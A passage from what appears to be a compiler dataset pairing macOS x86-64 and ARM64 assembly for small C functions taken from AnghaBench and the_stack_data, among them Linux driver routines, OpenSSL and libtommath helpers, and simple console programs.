popq %rbp
jmp _write_control_reg ## TAILCALL
.cfi_endproc
## -- End function
.comm _E3G_PHANTOM_POWER,4,2 ## @E3G_PHANTOM_POWER
.no_dead_strip _set_phantom_power
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function set_phantom_power
_set_phantom_power: ; @set_phantom_power
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x1
mov x20, x0
ldr x8, [x0, #8]
ldr w0, [x8, #4]
bl _le32_to_cpu
Lloh0:
adrp x8, _E3G_PHANTOM_POWER@GOTPAGE
Lloh1:
ldr x8, [x8, _E3G_PHANTOM_POWER@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
orr w9, w8, w0
bic w8, w0, w8
cmp w19, #0
csel w21, w8, w9, eq
strb w19, [x20]
ldr x8, [x20, #8]
ldr w0, [x8]
bl _le32_to_cpu
mov x2, x0
mov x0, x20
mov x1, x21
mov w3, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _write_control_reg
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _E3G_PHANTOM_POWER,4,2 ; @E3G_PHANTOM_POWER
.no_dead_strip _set_phantom_power
.subsections_via_symbols
| AnghaBench/linux/sound/pci/echoaudio/extr_echo3g_dsp.c_set_phantom_power.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function get_current_time
_get_current_time: ## @get_current_time
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq -8(%rbp), %rdi
xorl %esi, %esi
callq _gettimeofday
imull $1000, -8(%rbp), %ecx ## imm = 0x3E8
movslq -4(%rbp), %rax
imulq $274877907, %rax, %rax ## imm = 0x10624DD3
movq %rax, %rdx
shrq $63, %rdx
sarq $38, %rax
addl %edx, %eax
addl %ecx, %eax
## kill: def $eax killed $eax killed $rax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _get_current_time
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function get_current_time
_get_current_time: ; @get_current_time
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
add x0, sp, #8
mov x1, #0
bl _gettimeofday
mov w8, #1000
ldp w9, w10, [sp, #8]
; kill: def $w10 killed $w10 def $x10
sxtw x10, w10
mov w11, #19923
movk w11, #4194, lsl #16
mul x10, x10, x11
lsr x11, x10, #63
asr x10, x10, #38
add w10, w10, w11
madd w0, w9, w8, w10
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.no_dead_strip _get_current_time
.subsections_via_symbols
| AnghaBench/ccv/bin/nnc/extr_cifar-10.c_get_current_time.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -4(%rbp), %rsi
xorl %eax, %eax
callq _scanf
movslq -4(%rbp), %rsi
imulq $1717986919, %rsi, %rcx ## imm = 0x66666667
movq %rcx, %rax
shrq $63, %rax
sarq $34, %rcx
addl %eax, %ecx
leal (%rcx,%rcx), %eax
leal (%rax,%rax,4), %edx
movl %esi, %eax
subl %edx, %eax
movslq %ecx, %rcx
imulq $1717986919, %rcx, %rdx ## imm = 0x66666667
movq %rdx, %rdi
shrq $63, %rdi
sarq $34, %rdx
addl %edi, %edx
addl %edx, %edx
leal (%rdx,%rdx,4), %edx
subl %edx, %ecx
imulq $1374389535, %rsi, %rdx ## imm = 0x51EB851F
movq %rdx, %rdi
shrq $63, %rdi
sarq $37, %rdx
addl %edi, %edx
imull $100, %edx, %edx
addl %eax, %edx
leal (%rcx,%rcx,4), %eax
leal (%rdx,%rax,4), %edx
leaq L_.str.2(%rip), %rdi
## kill: def $esi killed $esi killed $rsi
xorl %eax, %eax
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the number X : "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "The required output of %d is %d."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
sub x8, x29, #4
str x8, [sp]
Lloh2:
adrp x0, l_.str.1@PAGE
Lloh3:
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldursw x8, [x29, #-4]
mov w9, #26215
movk w9, #26214, lsl #16
mul x10, x8, x9
lsr x11, x10, #63
asr x10, x10, #34
add w10, w10, w11
mov w11, #10
msub w12, w10, w11, w8
smull x9, w10, w9
lsr x13, x9, #63
asr x9, x9, #34
add w9, w9, w13
msub w9, w9, w11, w10
mov w10, #34079
movk w10, #20971, lsl #16
mul x10, x8, x10
lsr x11, x10, #63
asr x10, x10, #37
add w10, w10, w11
mov w11, #100
mov w13, #20
madd w10, w10, w11, w12
madd w9, w9, w13, w10
stp x8, x9, [sp]
Lloh4:
adrp x0, l_.str.2@PAGE
Lloh5:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the number X : "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "The required output of %d is %d."
.subsections_via_symbols
| the_stack_data/43364.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _TS_ACCURACY_set_micros ## -- Begin function TS_ACCURACY_set_micros
.p2align 4, 0x90
_TS_ACCURACY_set_micros: ## @TS_ACCURACY_set_micros
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
movq (%rdi), %rdi
movl $1, %r14d
cmpq %rsi, %rdi
je LBB0_6
## %bb.1:
testq %rsi, %rsi
je LBB0_2
## %bb.3:
movq %rsi, %rdi
callq _ASN1_INTEGER_dup
testq %rax, %rax
je LBB0_7
## %bb.4:
movq %rax, %r15
movq (%rbx), %rdi
jmp LBB0_5
LBB0_2:
xorl %r15d, %r15d
LBB0_5:
callq _ASN1_INTEGER_free
movq %r15, (%rbx)
jmp LBB0_6
LBB0_7:
movq _TS_F_TS_ACCURACY_SET_MICROS@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _ERR_R_MALLOC_FAILURE@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _TSerr
xorl %r14d, %r14d
LBB0_6:
movl %r14d, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _TS_F_TS_ACCURACY_SET_MICROS,4,2 ## @TS_F_TS_ACCURACY_SET_MICROS
.comm _ERR_R_MALLOC_FAILURE,4,2 ## @ERR_R_MALLOC_FAILURE
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _TS_ACCURACY_set_micros ; -- Begin function TS_ACCURACY_set_micros
.p2align 2
_TS_ACCURACY_set_micros: ; @TS_ACCURACY_set_micros
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr x0, [x0]
cmp x0, x1
b.eq LBB0_6
; %bb.1:
cbz x1, LBB0_4
; %bb.2:
mov x0, x1
bl _ASN1_INTEGER_dup
cbz x0, LBB0_8
; %bb.3:
mov x20, x0
ldr x0, [x19]
b LBB0_5
LBB0_4:
mov x20, #0
LBB0_5:
bl _ASN1_INTEGER_free
str x20, [x19]
LBB0_6:
mov w0, #1
LBB0_7:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_8:
Lloh0:
adrp x8, _TS_F_TS_ACCURACY_SET_MICROS@GOTPAGE
Lloh1:
ldr x8, [x8, _TS_F_TS_ACCURACY_SET_MICROS@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
Lloh3:
adrp x8, _ERR_R_MALLOC_FAILURE@GOTPAGE
Lloh4:
ldr x8, [x8, _ERR_R_MALLOC_FAILURE@GOTPAGEOFF]
Lloh5:
ldr w1, [x8]
bl _TSerr
mov w0, #0
b LBB0_7
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _TS_F_TS_ACCURACY_SET_MICROS,4,2 ; @TS_F_TS_ACCURACY_SET_MICROS
.comm _ERR_R_MALLOC_FAILURE,4,2 ; @ERR_R_MALLOC_FAILURE
.subsections_via_symbols
| AnghaBench/freebsd/crypto/openssl/crypto/ts/extr_ts_rsp_utils.c_TS_ACCURACY_set_micros.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $1008, %rsp ## imm = 0x3F0
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -40(%rbp)
leaq L_.str(%rip), %rdi
callq _puts
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
leaq -1040(%rbp), %rdi
movl $1000, %esi ## imm = 0x3E8
callq _fgets
xorl %eax, %eax
xorl %r14d, %r14d
xorl %r15d, %r15d
xorl %r12d, %r12d
xorl %ebx, %ebx
jmp LBB0_1
.p2align 4, 0x90
LBB0_2: ## in Loop: Header=BB0_1 Depth=1
incl %ebx
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
incq %rax
cmpq $1000, %rax ## imm = 0x3E8
je LBB0_10
LBB0_1: ## =>This Inner Loop Header: Depth=1
movzbl -1040(%rbp,%rax), %ecx
leal -97(%rcx), %edx
cmpb $25, %dl
jbe LBB0_2
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
leal -65(%rcx), %edx
cmpb $25, %dl
ja LBB0_5
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
incl %r12d
jmp LBB0_9
.p2align 4, 0x90
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
leal -48(%rcx), %edx
cmpb $9, %dl
ja LBB0_7
## %bb.6: ## in Loop: Header=BB0_1 Depth=1
incl %r15d
jmp LBB0_9
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
cmpb $10, %cl
je LBB0_10
## %bb.8: ## in Loop: Header=BB0_1 Depth=1
incl %r14d
jmp LBB0_9
LBB0_10:
leaq L_.str.1(%rip), %rdi
callq _puts
leaq -1040(%rbp), %rdi
callq _strlen
leal -1(%rax), %esi
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq L_.str.3(%rip), %rdi
movl %ebx, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.4(%rip), %rdi
movl %r12d, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.5(%rip), %rdi
movl %r15d, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.6(%rip), %rdi
movl %r14d, %esi
xorl %eax, %eax
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -40(%rbp), %rax
jne LBB0_12
## %bb.11:
xorl %eax, %eax
addq $1008, %rsp ## imm = 0x3F0
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_12:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Type some text (then ENTER):"
L_.str.1: ## @.str.1
.asciz "\nYou typed:"
L_.str.2: ## @.str.2
.asciz "A string with %d characters\n"
L_.str.3: ## @.str.3
.asciz "\t%d lower case letters\n"
L_.str.4: ## @.str.4
.asciz "\t%d upper case letters\n"
L_.str.5: ## @.str.5
.asciz "\t%d digits\n"
L_.str.6: ## @.str.6
.asciz "\t%d others\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
sub sp, sp, #1024
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-56]
Lloh3:
adrp x0, l_.str@PAGE
Lloh4:
add x0, x0, l_.str@PAGEOFF
bl _puts
Lloh5:
adrp x8, ___stdinp@GOTPAGE
Lloh6:
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
Lloh7:
ldr x2, [x8]
add x23, sp, #16
add x0, sp, #16
mov w1, #1000
bl _fgets
mov x8, #0
mov w19, #0
mov w20, #0
mov w21, #0
mov w22, #0
b LBB0_3
LBB0_1: ; in Loop: Header=BB0_3 Depth=1
add w22, w22, #1
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
add x8, x8, #1
cmp x8, #1000
b.eq LBB0_10
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldrb w9, [x23, x8]
sub w10, w9, #97
cmp w10, #25
b.ls LBB0_1
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
sub w10, w9, #65
cmp w10, #25
b.hi LBB0_6
; %bb.5: ; in Loop: Header=BB0_3 Depth=1
add w21, w21, #1
b LBB0_2
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
sub w10, w9, #48
cmp w10, #9
b.hi LBB0_8
; %bb.7: ; in Loop: Header=BB0_3 Depth=1
add w20, w20, #1
b LBB0_2
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
cmp w9, #10
b.eq LBB0_10
; %bb.9: ; in Loop: Header=BB0_3 Depth=1
add w19, w19, #1
b LBB0_2
LBB0_10:
Lloh8:
adrp x0, l_.str.1@PAGE
Lloh9:
add x0, x0, l_.str.1@PAGEOFF
bl _puts
add x0, sp, #16
bl _strlen
sub w8, w0, #1
str x8, [sp]
Lloh10:
adrp x0, l_.str.2@PAGE
Lloh11:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
str x22, [sp]
Lloh12:
adrp x0, l_.str.3@PAGE
Lloh13:
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str x21, [sp]
Lloh14:
adrp x0, l_.str.4@PAGE
Lloh15:
add x0, x0, l_.str.4@PAGEOFF
bl _printf
str x20, [sp]
Lloh16:
adrp x0, l_.str.5@PAGE
Lloh17:
add x0, x0, l_.str.5@PAGEOFF
bl _printf
str x19, [sp]
Lloh18:
adrp x0, l_.str.6@PAGE
Lloh19:
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur x8, [x29, #-56]
Lloh20:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh21:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh22:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_12
; %bb.11:
mov w0, #0
add sp, sp, #1024
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
LBB0_12:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Type some text (then ENTER):"
l_.str.1: ; @.str.1
.asciz "\nYou typed:"
l_.str.2: ; @.str.2
.asciz "A string with %d characters\n"
l_.str.3: ; @.str.3
.asciz "\t%d lower case letters\n"
l_.str.4: ; @.str.4
.asciz "\t%d upper case letters\n"
l_.str.5: ; @.str.5
.asciz "\t%d digits\n"
l_.str.6: ; @.str.6
.asciz "\t%d others\n"
.subsections_via_symbols
| the_stack_data/142255.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function kobj_pkt_show
_kobj_pkt_show: ## @kobj_pkt_show
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rsi, %rbx
callq _to_pktcdvdkobj
movq (%rax), %r15
movl (%rbx), %edi
leaq L_.str(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_1
## %bb.2:
movl (%rbx), %edi
leaq L_.str.2(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_3
## %bb.4:
movl (%rbx), %edi
leaq L_.str.3(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_5
## %bb.9:
movl (%rbx), %edi
leaq L_.str.4(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_10
## %bb.11:
movl (%rbx), %edi
leaq L_.str.5(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_12
## %bb.13:
movl (%rbx), %edi
leaq L_.str.6(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_14
## %bb.16:
movl (%rbx), %edi
leaq L_.str.8(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_17
## %bb.18:
movl (%rbx), %edi
leaq L_.str.9(%rip), %rsi
callq _strcmp
testq %rax, %rax
je LBB0_19
## %bb.20:
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB0_1:
movl 16(%r15), %edx
jmp LBB0_7
LBB0_3:
movl 20(%r15), %edx
jmp LBB0_7
LBB0_5:
movl 24(%r15), %edx
jmp LBB0_6
LBB0_10:
movl 28(%r15), %edx
jmp LBB0_6
LBB0_12:
movl 32(%r15), %edx
LBB0_6:
sarl %edx
LBB0_7:
leaq L_.str.1(%rip), %rsi
movq %r14, %rdi
LBB0_8:
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _sprintf ## TAILCALL
LBB0_14:
leaq 12(%r15), %rbx
movq %rbx, %rdi
callq _spin_lock
movl (%r15), %r15d
jmp LBB0_15
LBB0_17:
leaq 12(%r15), %rbx
movq %rbx, %rdi
callq _spin_lock
movl 4(%r15), %r15d
jmp LBB0_15
LBB0_19:
leaq 12(%r15), %rbx
movq %rbx, %rdi
callq _spin_lock
movl 8(%r15), %r15d
LBB0_15:
movq %rbx, %rdi
callq _spin_unlock
leaq L_.str.7(%rip), %rsi
movq %r14, %rdi
movl %r15d, %edx
jmp LBB0_8
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "packets_started"
L_.str.1: ## @.str.1
.asciz "%lu\n"
L_.str.2: ## @.str.2
.asciz "packets_finished"
L_.str.3: ## @.str.3
.asciz "kb_written"
L_.str.4: ## @.str.4
.asciz "kb_read"
L_.str.5: ## @.str.5
.asciz "kb_read_gather"
L_.str.6: ## @.str.6
.asciz "size"
L_.str.7: ## @.str.7
.asciz "%d\n"
L_.str.8: ## @.str.8
.asciz "congestion_off"
L_.str.9: ## @.str.9
.asciz "congestion_on"
.no_dead_strip _kobj_pkt_show
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function kobj_pkt_show
_kobj_pkt_show: ; @kobj_pkt_show
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
bl _to_pktcdvdkobj
ldr x21, [x0]
ldr w0, [x20]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
bl _strcmp
cbz x0, LBB0_9
; %bb.1:
ldr w0, [x20]
Lloh2:
adrp x1, l_.str.2@PAGE
Lloh3:
add x1, x1, l_.str.2@PAGEOFF
bl _strcmp
cbz x0, LBB0_10
; %bb.2:
ldr w0, [x20]
Lloh4:
adrp x1, l_.str.3@PAGE
Lloh5:
add x1, x1, l_.str.3@PAGEOFF
bl _strcmp
cbz x0, LBB0_11
; %bb.3:
ldr w0, [x20]
Lloh6:
adrp x1, l_.str.4@PAGE
Lloh7:
add x1, x1, l_.str.4@PAGEOFF
bl _strcmp
cbz x0, LBB0_12
; %bb.4:
ldr w0, [x20]
Lloh8:
adrp x1, l_.str.5@PAGE
Lloh9:
add x1, x1, l_.str.5@PAGEOFF
bl _strcmp
cbz x0, LBB0_13
; %bb.5:
ldr w0, [x20]
Lloh10:
adrp x1, l_.str.6@PAGE
Lloh11:
add x1, x1, l_.str.6@PAGEOFF
bl _strcmp
cbz x0, LBB0_17
; %bb.6:
ldr w0, [x20]
Lloh12:
adrp x1, l_.str.8@PAGE
Lloh13:
add x1, x1, l_.str.8@PAGEOFF
bl _strcmp
cbz x0, LBB0_18
; %bb.7:
ldr w0, [x20]
Lloh14:
adrp x1, l_.str.9@PAGE
Lloh15:
add x1, x1, l_.str.9@PAGEOFF
bl _strcmp
cbz x0, LBB0_19
; %bb.8:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_9:
ldr w2, [x21, #16]
b LBB0_15
LBB0_10:
ldr w2, [x21, #20]
b LBB0_15
LBB0_11:
ldr w8, [x21, #24]
b LBB0_14
LBB0_12:
ldr w8, [x21, #28]
b LBB0_14
LBB0_13:
ldr w8, [x21, #32]
LBB0_14:
asr w2, w8, #1
LBB0_15:
Lloh16:
adrp x1, l_.str.1@PAGE
Lloh17:
add x1, x1, l_.str.1@PAGEOFF
mov x0, x19
LBB0_16:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _sprintf
LBB0_17:
add x20, x21, #12
mov x0, x20
bl _spin_lock
ldr w21, [x21]
b LBB0_20
LBB0_18:
add x20, x21, #12
mov x0, x20
bl _spin_lock
ldr w21, [x21, #4]
b LBB0_20
LBB0_19:
add x20, x21, #12
mov x0, x20
bl _spin_lock
ldr w21, [x21, #8]
LBB0_20:
mov x0, x20
bl _spin_unlock
Lloh18:
adrp x1, l_.str.7@PAGE
Lloh19:
add x1, x1, l_.str.7@PAGEOFF
mov x0, x19
mov x2, x21
b LBB0_16
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh18, Lloh19
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "packets_started"
l_.str.1: ; @.str.1
.asciz "%lu\n"
l_.str.2: ; @.str.2
.asciz "packets_finished"
l_.str.3: ; @.str.3
.asciz "kb_written"
l_.str.4: ; @.str.4
.asciz "kb_read"
l_.str.5: ; @.str.5
.asciz "kb_read_gather"
l_.str.6: ; @.str.6
.asciz "size"
l_.str.7: ; @.str.7
.asciz "%d\n"
l_.str.8: ; @.str.8
.asciz "congestion_off"
l_.str.9: ; @.str.9
.asciz "congestion_on"
.no_dead_strip _kobj_pkt_show
.subsections_via_symbols
| AnghaBench/linux/drivers/block/extr_pktcdvd.c_kobj_pkt_show.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function mp_reduce_2k_setup_l
_mp_reduce_2k_setup_l: ## @mp_reduce_2k_setup_l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r14
movq %rdi, %r15
leaq -36(%rbp), %rdi
callq _mp_init
movl %eax, %ebx
movq _MP_OKAY@GOTPCREL(%rip), %r12
cmpl (%r12), %eax
jne LBB0_4
## %bb.1:
movq %r15, %rdi
callq _mp_count_bits
leaq -36(%rbp), %rdi
movl %eax, %esi
callq _mp_2expt
movl %eax, %ebx
cmpl (%r12), %eax
jne LBB0_3
## %bb.2:
leaq -36(%rbp), %rdi
movq %r15, %rsi
movq %r14, %rdx
callq _s_mp_sub
movl %eax, %ebx
LBB0_3:
leaq -36(%rbp), %rdi
callq _mp_clear
LBB0_4:
movl %ebx, %eax
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _MP_OKAY,4,2 ## @MP_OKAY
.no_dead_strip _mp_reduce_2k_setup_l
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function mp_reduce_2k_setup_l
_mp_reduce_2k_setup_l: ; @mp_reduce_2k_setup_l
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
